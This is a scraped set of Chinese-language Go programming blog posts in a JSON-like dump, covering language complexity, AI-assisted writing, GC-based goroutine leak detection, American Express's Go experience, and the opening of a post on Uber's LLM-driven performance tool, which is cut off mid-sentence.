它直接决定了这门语言的学习曲线、认知负荷，以及整个生态的风格。\n今天，我们就以这张图为起点，深入探讨三门备受关注的系统级语言——Go、Rust 和 C++——它们各自代表的三种截然不同的“复杂性”，以及这些“复杂性”在 AI 时代意味着什么。\n注：Go之所以被最初定位为系统级编程语言，是因为其设计之初便承载了构建高效、可靠系统级软件的愿景，旨在解决多核、网络化机器时代下大型代码库的开发痛点。 然而，其内置的垃圾回收机制和相对较大的运行时， 以及它在网络服务、云计算、微服务等应用层领域取得的显著成功和广泛应用， 逐渐改变了开发者对其的普遍认知，使得今天多数开发者不再将其归类为传统的、如C/C++般直接操作硬件的系统级编程语言。\n“广度”的复杂性：C++ 的特性博物馆 C++ 的冗长规范，源于其“广度”上的复杂性。它像一个不断扩建的“特性博物馆”，收藏了自上世纪 80 年代以来的几乎所有编程范式。从 C with Classes，到面向对象，再到泛型元编程，再到现代的函数式风格，C++ 不断地累加新特性，却很少移除旧的。\n这种复杂性的特点是：\n特性极其繁多： 多重继承、模板、操作符重载、右值引用… 你永远无法完全掌握它。 选择极其自由： 对于同一个问题，你可能有十种不同的实现方式，每一种都有其微妙的优劣。 这导致的结果是，没有人能成为一个“纯粹的 C++ 开发者”，大家通常都只是某个 C++“安全子集”的专家。团队协作的巨大成本，就耗费在统一这个“子集”上。Google 著名的 C++ Style Guide，其本质就是一份“C++ 禁用特性列表”。\n“深度”的复杂性：Rust 的陡峭山峰 再看 Rust。它的规范词数（约 10 万词）远比 C++ 短小，但几乎所有人都承认，Rust 的学习曲线极其陡峭。\n这是因为它代表了另一种“深度”上的复杂性。Rust 的复杂性并非源于海量的特性，而是集中在少数几个强大、深刻且深度交织的核心概念上：\n所有权 (Ownership) 生命周期 (Lifetimes) 借用检查器 (Borrow Checker) 你不需要学习一百个小工具，但你必须彻底攀登这几座陡峭的山峰，才能真正驾驭这门语言。它的挑战不在于“知道什么”，而在于“深刻理解”。你需要在脑海中构建一个全新的心智模型，时刻与编译器进行一场关于内存安全的“博弈”。\n“组合”的复杂性：Go 的乐高世界 最后，我们来看 Go。它的规范如此之短，是因为它从设计之初就选择了第三条路：将“复杂性”从语言本身，转移到开发者身上。\n这里所说的Go的复杂性，是“组合”的复杂性。它为你提供的不是一套功能完备的“瑞士军刀”，而是一盒简单、正交、数量有限的“乐高积木”：\n简单的类型系统（没有类和继承） 只有一个循环结构 (for) 清晰的接口（隐式实现） 强大的并发原语 (goroutine 和 channel) … … Go 语言本身是极其简单的，一个有经验的开发者可以在一周内掌握其全部语法。真正的挑战在于，你如何用这些有限的、简单的积木，去创造性地组合，以解决现实世界中的复杂问题。\nGo 的设计哲学相信，通过组合这些简单的工具，你足以构建出任何复杂的系统。它把对创造力的要求还给了开发者，而不是将其隐藏在语言的“语法糖”和“黑魔法”之下。\nAI 时代的新视角：哪种复杂性对 AI 更“友好”？ 这场关于复杂性的讨论，在 AI 编程助手日益普及的今天，有了一层全新的意义。我们可以把语言规范的长度，看作是教一个 AI“学生”这门语言的“教科书厚度”。\n教 AI 写 C++： 就像给它一本大英百科全书。它能学会无数语法，但面对复杂的特性交互和未定义行为时，极易产生“幻觉”，生成看似正确但存在隐蔽 bug 的代码。审查这样的代码是一场噩梦。\n教 AI 写 Rust： 就像教它下围棋。它能学会规则，但很难掌握其深奥的战略（生命周期）。它生成的代码或许能通过编译，但可能是为了“讨好”编译器而写出的、极其扭曲和不符合人类直觉的代码。\n教 AI 写 Go： 就像给它一本清晰、简洁的“小红书”。规则少、边界清晰、没有“魔法”。AI 生成的代码不仅更可预测、更符合语言的最佳实践，最重要的是——它对人类审查者极其友好。\n在 AI 时代，我们开发者的工作重心正在从“写代码”，更多地转向“审查和指导 AI 写代码”。一门简单的、拥有短小精悍规范的语言，为我们和 AI 之间提供了一个共同的、易于理解的交流基础。\n小结：简洁，一种面向未来的选择 回到最初的图表，它揭示了三种不同的设计哲学：\nC++： “我给你一切，你自己想办法管好。” Rust： “我会替你管好一切，但你必须先理解我的全部规则。” Go： “我只给你几样最强大的工具，剩下的，我相信你的创造力。” Go 的简洁，不是功能的匮乏，而是一种深思熟虑的、面向未来的战略选择。它不仅降低了人类开发者的认知负荷，更在不经意间，为即将到来的人机协作编程时代，铺平了道路。\n因为当你的“同事”是一个 AI 时，一门简单、可预测、易于审查的语言，将是你最有价值的资产。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/25/go-vs-rust-vs-cpp-in-complexity/","summary":"\u003ch1 id=\"go-vs-rust-vs-c从语言规范长度看三种不同的复杂性---tony-bai\"\u003eGo vs. Rust vs. C++：从语言规范长度看三种不同的“复杂性” - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go vs. Rust vs. C++：从语言规范长度看三种不同的“复杂性”"},{"content":"写作即思考：AI 时代，开发者为什么要警惕“思考外包”？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n写作即思考：AI 时代，开发者为什么要警惕“思考外包”？ 七月 25, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/25/writing-is-thinking\n大家好，我是Tony Bai。\n最近，全球顶级的科学期刊《自然》(Nature) 发表了一篇社论，标题仅有三个词：“Writing is thinking” (写作即思考)。\n这篇社论探讨的是大语言模型时代人类生成的科学写作的价值，其核心观点，对于我们技术领域的开发者、工程师和内容创作者来说，不啻为一记振聋发聩的警示。它在 AI 浪潮席卷一切的今天，迫使我们重新审视一个被我们日渐忽视，却又至关重要的行为——我们自己的思考过程。\n开发者版本的“写作即思考” 对开发者而言，“写作”的形式多种多样：\n编写一份详尽的技术设计文档 (Design Doc / RFC)。\n撰写一篇分享经验的技术博客。\n甚至，是构建一个结构清晰、逻辑严谨的复杂软件模块。\n这些行为的本质，都和《自然》社论的观点一致：它不仅仅是“报告结果”，更是一个强迫我们将脑中混乱、非线性的想法，梳理成结构化、有意图的叙事的过程。\n当你无法用清晰的语言（或代码）写下来时，通常意味着你对这个问题还没有想清楚。这个“写”的过程，本身就是发现逻辑漏洞、提炼核心思想、明确最终影响力的思考过程。正如社论所引述的科学依据：书写行为本身，就能增强大脑的连接性，并对学习和记忆产生积极影响。\nAI 带来的“隐形危机”：思考外包 现在，强大的 LLM 出现了。我们似乎可以轻易地“外包”掉这个艰苦的思考过程。\n“帮我生成一份关于XX系统的微服务架构设计文档。”\n“为我刚才的 Go 函数编写一份详细的单元测试。”\nAI 瞬间就能产出看似完美的“结果”。但在这个过程中，我们失去了什么？\n效率的假象： AI 会产生幻觉。你可能需要花费更多的心力去验证、修正和编辑一份由 AI 生成的、你并不完全理解的复杂文档或代码，其成本甚至可能超过从零开始亲自撰写。 思想的归属： 社论提出了一个尖锐的问题——如果“写作即思考”，那么当你在阅读一篇由 LLM 生成的论文时，你读到的究竟是研究者的思想，还是 LLM 的“思想”？同理，当你的同事向你展示一份由 AI 生成的设计文档时，这背后真的有他深入的思考和权衡吗？ 核心能力的侵蚀： 这是最危险的一点。我们跳过了最宝贵的思考整理过程，直接获取了“结果”，却失去了将知识和经验内化为自身能力的宝贵“过程”。我们放弃了锻炼自己核心思维能力的机会。 从“外包者”到“放大器”：AI 的正确使用姿势 那么，我们应该抵制 AI 吗？当然不。《自然》的社论也明确指出，AI 是一个极其有价值的辅助工具。问题的关键，不在于用不用，而在于怎么用。\n我们应该警惕成为一个“思考外包者”，转而努力成为一个“思考放大器”的使用者。\n这意味着，永远由人类掌握“思考”的主导权，而在特定的、非核心思考的环节，利用 AI 来提升效率。以下是一些高效的“放大器”模式：\n语法与可读性优化器： “这是我写的一段技术描述，请帮我润色，使其更易于理解，并修正语法错误。” 信息检索与综述助理： “帮我总结一下最近关于 QUIC 协议的三篇关键论文的核心观点。” 头脑风暴伙伴： “我正在设计一个高可用的缓存系统，请帮我列出可能需要考虑的 10 个潜在故障点。” “破冰”与“思路转换”工具： “我对于如何向非技术人员解释‘幂等性’感到卡壳，请提供三种不同的比喻或解释方式。” 在这些场景中，AI 是你的研究助理、语法老师、灵感催化剂，但绝不是替你完成核心思考的“枪手”。\n未来已来：从“代码实现者”到“思想叙事者” 这场关于“写作与思考”的讨论，最终引向了一个更宏大的问题：当 AI 越来越擅长“写作”（即编码实现）时，我们人类工程师的不可替代价值到底在哪里？\n答案或许就在《自然》社论的结尾：“将整个写作过程外包给 LLM，会剥夺我们反思和塑造引人入胜的叙事的机会”。\n未来工程师的核心竞争力，正在从单纯的技术实现，向上游转移。以下三项“元技能”将变得至关重要：\n深度反思能力: 对技术领域、业务场景进行深刻的洞察和反思，理解“为什么”远比“怎么做”更重要。 创造性任务处理能力: 定义正确的问题，做出关键的架构取舍，进行富有创造力的系统设计。 思想叙事能力: 能够将复杂的技术决策、系统设计，用清晰、有说服力的“故事”（设计文档、技术演讲、甚至代码结构本身）讲述出来，影响和说服他人。 你看，这三项无法被 AI 替代的核心能力，恰恰都是通过“写作即思考”这个艰苦而宝贵的过程来培养和强化的。\n小结：别让 AI 替你思考 AI 是一场革命性的技术浪潮，它正在重塑我们的工作方式。但我们必须保持清醒：AI 是我们手中的工具，而不是我们大脑的替代品。\n我们可以，也应该，让 AI 成为我们强大的“副驾驶”，帮我们处理繁琐的事务，为我们提供新的视角。但方向盘，必须始终握在我们自己手中，谨慎和正确使用带有深度思考和推理功能的AI大模型。\n因为我们写下的每一行代码，每一份文档，不仅仅是交付物，更是我们思考过程的凝结与沉淀。这个过程，才是我们作为工程师，最宝贵的财富。\n资料链接：https://www.nature.com/articles/s44222-025-00323-4\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/25/writing-is-thinking/","summary":"\u003ch1 id=\"写作即思考ai-时代开发者为什么要警惕思考外包---tony-bai\"\u003e写作即思考：AI 时代，开发者为什么要警惕“思考外包”？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"写作即思考：AI 时代，开发者为什么要警惕“思考外包”？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/24/deadlock-detection-by-gc\n大家好，我是Tony Bai。\nGo 语言的 go 关键字让并发编程变得前所未有的简单，但也带来了新的挑战。当所有 goroutine 都陷入阻塞时，Go runtime 会报告一个“全局死锁”并终止程序。然而，更常见也更隐蔽的是部分死锁：一部分 goroutine 永久阻塞，而程序的其他部分仍在运行。\n图: Uber生产服务中因部分死锁导致的goroutine数量变化 如上图所示，这些泄漏的 goroutine 会像“僵尸”一样持续占用内存和资源，在长周期运行的服务中导致内存泄漏、CPU 升高，甚至系统崩溃(Uber工作日的重新部署掩盖了泄漏，但在周末和节假日期间，数字会激增)。现有的工具如 goleak 主要用于测试环境，难以在生产中大规模部署。\n这些难以追踪的“部分死锁”在长周期服务中如同定时炸弹。现在，一项革命性的Go提案（#74609）带来了希望：通过赋予垃圾收集器（GC）“新技能”，使其能够直接在运行时检测出这些永久阻塞的 goroutine。这个想法不只是停留在理论层面，其原型工具 GOLF 已经在 Uber 的生产环境中成功验证，发现了数百个此前未被察觉的死锁。本文将和大家一起解读一下这一前沿技术，揭示 Go GC 是如何被改造为并发问题“侦探”的。\n核心思想：当“内存不可达”遇上“并发不可达” 这项新提案的核心洞见，是将垃圾收集中的内存可达性与并发编程中的**活跃性（liveness）**巧妙地联系起来。\n我们知道，一个被阻塞的 goroutine（例如，等待从一个 channel 接收数据 \u0026lt;-ch）能否被唤醒，取决于是否有另一个“活跃”的 goroutine 能够对同一个并发原语（这里的 ch）执行配对操作（例如 ch \u0026lt;- data）。\n提案的关键假设是：\n如果一个被阻塞的 goroutine，其所等待的所有并发原语（channel、mutex 等），从所有当前可运行（runnable）的 goroutine 的视角来看，在内存中都是不可达的，那么这个被阻塞的 goroutine 永远不可能被唤醒——它已经陷入了部分死锁。\n换句话说，如果没有任何一个“活人”能找到唤醒你所需的“钥匙”，那你就是一个“僵尸”。\n而判断“内存可达性”，正是 Go GC 的核心工作。\nGOLF：一个扩展版的 Go 垃圾收集器 研究人员将此思想实现为一个名为 GOLF (Goroutine Leak Fixer) 的工具，它对 Go 的标准 mark-and-sweep GC 进行了扩展。\n图: 对GC周期的扩展 GOLF 的工作流程大致如下：\n修改 GC Root Set：在 GC 的标记（Marking）阶段开始时，GOLF 不再像标准 GC 那样将所有 goroutine 视为根对象（GC Roots）。相反，它只将当前处于**可运行状态（runnable）**的 goroutine 作为初始的根集合。\n迭代标记与扩展：\na. GC 从这个最小化的根集合出发，进行第一轮内存可达性标记。 b. 标记完成后，GOLF 会检查所有仍处于阻塞状态的 goroutine。 c. 对于每个阻塞的 goroutine，它会检查其等待的并发原语（如 channel）是否在刚刚的标记过程中被标记为“可达”。 d. 如果一个阻塞 goroutine 等待的某个原语是“可达”的，那么这个 goroutine 就有可能被唤醒。GOLF 称其为**“可达活跃”（reachably live），并将其加入到 GC 的根集合中**。 e. 重复 a-d 步骤，直到在一个完整的迭代中，根集合不再扩大。 死锁判定：当迭代稳定后，所有未被加入根集合的、仍处于阻塞状态的 goroutine，都被判定为部分死锁。\n提案中的实现细节 Go 官方 issue #74609 中讨论的实现，是基于上述学术研究的简化和工程化版本：\nAPI 触发：为了将性能影响降到最低，这种增强的 GC 周期不会默认开启，而是通过一个新的 API 来手动触发。 不强制回收：与学术论文中可以强制回收泄漏 goroutine 内存的“Recovery”功能不同，提案的初步实现仅将检测到的 goroutine 标记为死锁，并将其视为永久可达，以避免破坏 Go 的内存安全语义（例如，意外触发 finalizer）。 实验性标志：该功能将通过 GOEXPERIMENT=deadlockgc 标志启用，表明其仍处于实验阶段。 惊人的实验结果：在 Uber 生产环境中大显身手 这项研究的有效性在多个层面得到了验证：\n微基准测试：在包含 121 个已知可能导致死锁的 go 语句的微基准测试中，GOLF 成功检测出了 94.75% 的部分死锁。\n大型代码库：在 Uber 的一个包含 180 万行 Go 代码的子集上运行时，GOLF 发现了 357 个已知泄漏中的 180 个（约 50%）。\n生产环境部署：GOLF 被部署到一个真实的 Uber 生产服务中，在 24 小时内，成功检测到了由 3 个不同编程错误导致的 252 个部分死锁实例。这些问题是之前通过测试未能发现的。\n更重要的是，性能测试表明，即使在最坏的情况下，GOLF 带来的 GC 标记阶段的 slowdown 仍然在可接受的范围内，而对于存在大量泄漏的程序，它甚至可能因为减少了需要标记的内存而加速 GC。\n对 Go 开发者的意义 这项提案一旦被采纳并最终进入 Go 的稳定版本，将对 Go 并发编程生态产生深远影响：\n新一代调试利器：开发者将获得一个强大的、内建于运行时的工具，用于诊断最棘手的并发问题，尤其是在复杂的、长周期运行的微服务中。 提升生产环境的稳定性：通过在生产中按需触发死锁检测，运维团队可以主动发现并定位潜在的内存泄漏源头，防止其演变为严重的线上事故。 补充现有工具的盲区：GOLF 的动态、在线检测能力，与 goleak 等基于测试的离线检测工具形成了完美的互补。 小结：从生产验证到 Go 1.26 的未来 将死锁检测的逻辑与垃圾收集的机制相结合，是一次天才般的跨界创新。它利用了 GC 对程序内存图谱的全局视野，以一种理论上可靠且实践中高效的方式，为解决 Go 并发编程中的“部分死锁”顽疾提供了全新的思路。事实上，Go 核心开发者 Rick Hudson 早在十年前就曾勾勒出类似的方法。\n而这次，它不再仅仅是一个构想。 Uber 在生产环境中的成功部署和验证，为这项技术的可行性和实用价值提供了强有力的证明。这正是推动该提案在 Go 官方层面迅速获得关注的关键。\n在最近的 Go 编译器与运行时会议上，这项来自 Uber 的提案再次成为焦点。Go 团队的核心成员 Michael Knyszek 确认，他们已经收到了 Uber 提交的补丁，并高度评价了其在生产环境中提供的“有用数据”。尽管该方法存在一些漏报（false negatives），但其**不会误报（false positives）**的特性使其极具实用价值。\n会议讨论进一步明确了该功能的未来方向：\n明确的目标版本：团队计划推动这项提案在 Go 1.26 开发周期中落地，以避免其在周期后期才被仓促合入。 API 形式：最有可能的 API 形式是将其作为一个新的 pprof profile 类型暴露出来。这意味着开发者未来或许可以通过 http://…/debug/pprof/goroutineleak 或类似的端点来按需触发检测。 集成场景： 在测试中：可以与 testing 包集成，但必须是**可选加入（opt-in）**的，因为许多现有测试可能无意中存在 goroutine 泄漏。 在生产中：它将无缝集成到**持续性能分析（continuous profiling）**系统中，成为诊断线上问题的强大武器。 值得注意的是，Go 团队强调，这个功能的目标是检测和报告泄漏，而不是自动回收。“泄漏的 goroutine 是 bug”，团队明确表示不会冒险去运行这些卡死 goroutine 的 finalizer，因为这可能导致不可预测的行为。\n虽然该实现目前尚未移植到最新的 Green Tea GC，并且在 32 位系统上支持有限，但其方向已经非常明确。一个酝酿了十年的构想，在学术界和工业界（Uber）的共同推动下，正以前所未有的速度接近现实。我们有理由期待，在 Go 1.26 中，Go 开发者将迎来一个内建于运行时的、经过生产环境检验的革命性并发问题诊断工具。\n资料链接：\nhttps://github.com/golang/go/issues/74609 https://dl.acm.org/doi/pdf/10.1145/3676641.3715990 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/24/deadlock-detection-by-gc/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/deadlock-detection-by-gc-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/24/deadlock-detection-by-gc\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/24/deadlock-detection-by-gc\"\u003ehttps://tonybai.com/2025/07/24/deadlock-detection-by-gc\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的 go 关键字让并发编程变得前所未有的简单，但也带来了新的挑战。当所有 goroutine 都陷入阻塞时，Go runtime 会报告一个“全局死锁”并终止程序。然而，更常见也更隐蔽的是\u003cstrong\u003e部分死锁\u003c/strong\u003e：一部分 goroutine 永久阻塞，而程序的其他部分仍在运行。\u003c/p\u003e","title":"Goroutine泄漏防不胜防？Go GC或将可以检测“部分死锁”，已在Uber生产环境验证"},{"content":"美国运通复盘 Go 语言实践：从依赖管理到并发模型，七大经验教训全解析 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n美国运通复盘 Go 语言实践：从依赖管理到并发模型，七大经验教训全解析 七月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/24/go-at-american-express-today\n大家好，我是Tony Bai。\n自 2016 年底将 Go 语言引入其技术栈以来，成立于1850年的美国运通（American Express）公司已在多个核心平台验证了其在性能、效率和可伸缩性方面的承诺。Go官方也在主页上将运通公司对Go的使用作为典型案例：\n近日，其工程团队发布了一篇回顾性文章，系统性地总结了近10年 Go 语言企业级应用的七大关键经验。本文将和大家一起解读这些来自金融科技巨头的宝贵洞察，涵盖从 Go Modules 的演进、并发模型的挑战，到构建“黄金框架”以及培育千人内部社区的最佳实践。\nGo 在美国运通的今天：七大关键洞察 从最初的选择到如今成为性能关键平台的核心语言，美国运通的 Go 语言之旅并非一帆风顺。他们分享的七个关键学习点，为所有正在或计划在企业环境中使用 Go 的团队提供了极具价值的参考。\n1. 依赖管理：Go Modules 的胜利 在 Go Modules 出现之前，企业内部防火墙和代理网络下的依赖管理是一个巨大的痛点。美国运通坦言，早期的依赖管理机制在企业环境中“极具挑战性”。Go Modules 的引入彻底改变了这一局面，使得版本控制和依赖管理变得“远为直接”，并促进了主流企业级开发工具对 Go 的广泛支持。\n2. 并发模型：易于上手，难于精通 Go 标志性的 goroutine 是其核心吸引力之一，但在生产环境中正确使用它并非没有“令人头疼”的问题。团队发现，虽然创建 goroutine 非常简单，但清理和跨 goroutine 的协调是最初面临的主要挑战。\n为了应对这些挑战，他们沉淀出了一套强大的并发模式：\n核心工具：广泛拥抱 sync 和 context 标准库包。\n泄漏防治：强制使用 defer 语句来确保资源清理，避免 goroutine 泄漏。\n早期检测：在所有测试中默认开启数据竞争检测器 (-race)，将并发问题扼杀在摇篮中。\n3. 培训与规范：打造惯用的 Go 文化 尽管 Go 语言以简单著称，但让整个团队写出“惯用（Idiomatic）”的 Go 代码仍需投入。美国运通为此建立了内部培训项目和文档体系，确保工程师从第一天起就能遵循最佳实践。\n4. “黄金框架”：标准化的“铺就之路” 随着 Go 的采用规模扩大，标准化的需求日益凸显。为了统一和优化服务构建，美国运通创建了一个内部的“黄金框架”（Golden Framework），也被称为“铺就之路”（Paved Road）。\n这个框架为开发者内置了所有非功能性需求的支持，包括：\n可观测性（Observability）\n异步健康检查\n优雅停机（Graceful Shutdown）\n安全规范\n5. 内部工具包：封装与定制 “黄金框架”建立在一个名为“越野工具包”（Off-Roading toolkit）的基础之上。这是一个内部 Go 包的集合，其核心作用是封装和定制开源库，以适应美国运通独特的内部基础设施。\n一个绝佳的例子是他们的日志包。它封装了标准库的结构化日志 slog，为其增加了对内部日志格式的支持，并实现了带有缓冲和截断策略的异步日志功能。这既利用了社区的优秀成果，又满足了企业的特殊需求。\n6. 原生工具链：性能优化的基石 美国运通强调，Go 的原生工具链是其能够持续交付高性能服务的关键。\n性能剖析：pprof 和基准测试（go test -bench）极大地简化了性能分析过程。\n运行时优势：低延迟的 GC 停顿和高效的 goroutine 调度，完美契合了其低延迟、高规模的支付平台需求。\n资源效率：Go 高效的资源利用率帮助他们显著降低了基础设施的开销。\n7. 社区建设：创新的驱动力 最宝贵的成果之一，是在公司内部形成了一个强大的 Go 社区。\n规模：近 1,000 名工程师在内部的 Go 频道中积极协作。\n活动：通过每月的 meetup、内部会议来分享知识。\n共同资产：“黄金框架”和工具包的持续演进，本身就是社区协作的产物。\n这种由同行驱动的文化，被认为是提炼最佳实践和推动创新的核心要素。\n小结 美国运通的经验再次证明，Go 语言不仅仅是一门“小而美”的语言，它完全有能力在要求严苛的金融科技领域作为核心技术栈，支撑起大规模、高性能的关键业务。\n他们的故事为我们揭示了一个成功的技术采纳路径：从解决基础的依赖管理问题，到攻克并发编程的深水区；从建立培训体系，到打造标准化的“黄金框架”；最终通过培育一个充满活力的内部社区，实现技术的自我演进和持续创新。\n对于所有 Go 开发者和技术领导者而言，这七大经验教训不仅是关于如何“使用”Go，更是关于如何在一个大型组织中，围绕一门语言构建一个可持续发展的、高效的工程文化。\n资料链接：https://www.americanexpress.io/go-at-american-express-today/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/24/go-at-american-express-today/","summary":"\u003ch1 id=\"美国运通复盘-go-语言实践从依赖管理到并发模型七大经验教训全解析---tony-bai\"\u003e美国运通复盘 Go 语言实践：从依赖管理到并发模型，七大经验教训全解析 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"美国运通复盘 Go 语言实践：从依赖管理到并发模型，七大经验教训全解析"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/23/uber-perfinsights\n大家好，我是Tony Bai。\n对于大多数团队而言，Go 服务的性能优化是一项昂贵且充满挑战的任务。它通常需要资深的工程师花费数天甚至数周的时间进行 profiling、基准测试和代码分析，这在快节奏的开发周期中往往难以持续。Uber 面临着同样的问题，其 Top 10 的 Go 服务每月就产生数百万美元的计算开销，系统性的性能调优迫在眉睫。\nPerfInsights 的诞生，旨在将这种依赖专家的、被动的优化过程，转变为一种可扩展、可重复、自动化的实践。它的核心目标是：以最小的人力投入，发现高价值的优化机会。\nPerfInsights 工作原理：三步走的自动化流水线 PerfInsights 的核心流程是一个精心设计的三阶段流水线，它巧妙地将传统性能分析与前沿的 GenAI 技术融合在一起。\n过滤：从生产噪音中定位“热点函数” 一切始于真实数据。PerfInsights 利用 Uber 的全集群 profiler，收集生产服务在流量高峰期的 CPU 和内存 profiles。\n热点识别：通过分析 pprof 数据，系统首先识别出每个服务中 CPU 占用最高的 Top 30 函数。经验表明，这些函数往往占据了绝大部分的 CPU 资源。 静态过滤：这是至关重要的一步。为了避免 GenAI 在无关紧要的代码上浪费“精力”，PerfInsights 会进行一轮静态过滤，排除掉开源依赖库和 Go 运行时的内部函数。这一步极大地缩小了分析范围，确保 AI 的注意力只集中在最有优化价值的业务代码上。Uber 团队称之为“无名英雄”，因为它将一个可能脆弱的 AI 原型，转变为一个专注、高效的优化助手。 分析：GenAI 登场，检测性能反模式 经过滤后的热点函数源代码，会被连同一个预先策划的反模式目录，一同提交给大语言模型（LLM）进行分析。\n这个反模式目录是基于 Uber Go 基础团队多年的优化经验和 Go 语言最佳实践整理而成，涵盖了诸如无边界的内存分配（例如，向没有预分配容量的 slice 中追加元素）、循环内的冗余计算、低效的字符串操作等常见问题。\n通过结合 profiling 提供的“热点”上下文和反模式的“先验知识”，LLM 